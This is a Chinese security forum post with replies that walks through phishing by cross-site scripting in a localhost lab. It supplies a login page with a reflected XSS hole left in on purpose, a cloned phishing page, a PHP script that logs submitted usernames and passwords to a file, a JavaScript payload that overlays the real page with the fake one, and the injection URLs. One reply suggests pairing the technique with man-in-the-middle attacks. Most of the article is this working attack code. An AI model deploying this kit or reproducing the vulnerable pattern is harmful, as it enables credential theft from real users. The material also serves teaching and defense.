用户
搜索
  • TA的每日心情
    慵懒
    2016-11-9 08:36
  • 签到天数: 4 天

    连续签到: 1 天

    [LV.2]偶尔看看I

    i春秋签约作家

    努力学习的帅逼

    Rank: 7Rank: 7Rank: 7

    26

    主题

    82

    帖子

    269

    魔法币
    收听
    0
    粉丝
    18
    注册时间
    2015-12-3

    签约作者

    sn0w i春秋签约作家 努力学习的帅逼 签约作者 楼主
    发表于 2017-1-11 15:26:48 454234
    通过JavaScript动态调用调整覆盖源页面内容,实现钓鱼。

    本次实验根目录为xsshack,具体文件如下:

    • login.php 登录页面文件
    • hack.html 钓鱼用登录页面,与正常登录页面前端相同
    • hack.php        用于接受保存钓鱼页面传输的数据
    • payload.js 用于覆盖原有登录页面

    下面将对每个文件的具体内容进行讲述。

    首先我们模拟一个简易的登录页面login.php,同时我们在页面中模拟了一个典型的反射型XSS,用于配合钓鱼,代码如下:

    [HTML] 纯文本查看 复制代码
    <!DOCTYPE html>
    <html>
      <head>
    <meta charset="utf-8">
    <title>xxx用户登录</title>
      </head>
      <body>
    <form action="http://127.0.0.1/xsshack/login.php" method="post">
      xxxx登录页面<br>
      <input type="text" name="user" value=""><br>
      <input type="password" name="pass" value=""><br>
      <input type="submit" name="Login" value="Login">
    </form>
      </body>
    </html>
    <?php
        @$id=$_GET['id'];
        echo $id;    //xss输出点
    ?>


    模拟的钓鱼页面hack.html,前端代码完全一样,但是表单提交的地址变为我们可以控制的页面,为了标示的更清楚,我们在页面中加入了钓鱼页面字样,代码如下:

    [HTML] 纯文本查看 复制代码
    <!DOCTYPE html>
    <html>
      <head>
    <meta charset="utf-8">
    <title>xxx用户登录(钓鱼页面)</title>
      </head>
      <body>
    <form action="http://127.0.0.1/hack.php" method="post">
      xxxx登录页面(钓鱼页面)<br>
      <input type="text" name="user" value=""><br>
      <input type="password" name="pass" value=""><br>
      <input type="submit" name="Login" value="Login">
    </form>
      </body>
    </html>

    我们还需要一个接受保存的密码的脚本,也就是上边的hack.php文件,代码如下:

    [HTML] 纯文本查看 复制代码
    <?php
      $user=$_POST['user']; //获取用户名
      $pass=$_POST['pass']; //获取密码
      $passtxt=fopen("passtxt.txt","a");  //打开文件
      fwrite($passtxt,"User:".$user."Pass:".$pass."\n");  //写入文件
      fclose($passtxt);
      header("location:[url]http://127.0.0.1/xsshack/login.php[/url]");  //转跳到正常页面 
     ?>

    构造一段代码payload.js,实现覆盖原有页面并调用我们的钓鱼页面进行覆盖,代码如下:

    [HTML] 纯文本查看 复制代码
      document.body.innerHTML='<div style="position:absolute;top:0px;left:0px;width:100%;height:100%">'+
    '<iframe src=http://127.0.0.1/xsshack/hack.html width=100% height=100%>' +
    '</iframe></div>'

    我们构造payload,其中xsshack为本次试验的根目录

    http://127.0.0.1/xsshack/login.php?id=%3Cscript%3Ealert(1)%3C/script%3E
    访问链接后,成功触发xss,这就是简单的反射型xss利用
    1.gif
    构造xss钓鱼的payload:

    http://127.0.0.1/xsshack/login.php?id=<script src='http://127.0.0.1/xsshack/payload.js'></script>
    当我们打开payload时,页面会根据payload.js的内容对页面就行重改,覆盖原有页面,此时我们登录会记录帐号密码发送带hack.php,在对信息记录完成后在转跳会正常登录页面,如图:

    2.gif

    附件:文章所涉及到的源码文件:
    游客,如果您要查看本帖隐藏内容请回复
    静静的看你们装逼,大爷来玩啊:ixuehua.blog.163.com
    看看                                          
    使用道具 举报 回复
    66666666666666666666666666666666666666666666
    使用道具 举报 回复
    确实,钓鱼的话这种思路不错,配合一下中间人攻击
    使用道具 举报 回复
    赞                    
    使用道具 举报 回复
    看看得得得多岁的对方阿萨德
    使用道具 举报 回复
    发表于 2017-1-11 15:54:01
    吓得我赶紧回复
    使用道具 举报 回复
    发表于 2017-1-11 15:56:38
    Google那个插件叫啥啊
    使用道具 举报 回复
    发表于 2017-1-11 15:58:51
    来学习了了
    使用道具 举报 回复
    发表于 2017-1-11 16:28:39
    感谢大牛分享学习一下
    使用道具 举报 回复
    发表于 2017-1-11 16:30:39
    感谢楼主分享~
    使用道具 举报 回复
    过来学习谢谢
    使用道具 举报 回复
    发表于 2017-1-11 16:36:25
    俺来学习来咯
    使用道具 举报 回复
    发表于 2017-1-11 16:37:34
    多谢了楼主
    使用道具 举报 回复
    很好的教学,谢谢分享
    使用道具 举报 回复
    发表于 2017-1-11 20:12:37
    感谢分享经验
    使用道具 举报 回复
    发表于 2017-1-11 20:47:47
    学习学习
    使用道具 举报 回复
    发表于 2017-1-12 09:06:19
    感谢分享
    使用道具 举报 回复
    发表于 2017-1-12 10:01:02
    吓得我赶紧回复看代码
    使用道具 举报 回复
    发表于 2017-1-12 10:02:55
    楼主考虑过跨域的问题吗?
    使用道具 举报 回复
    1234下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册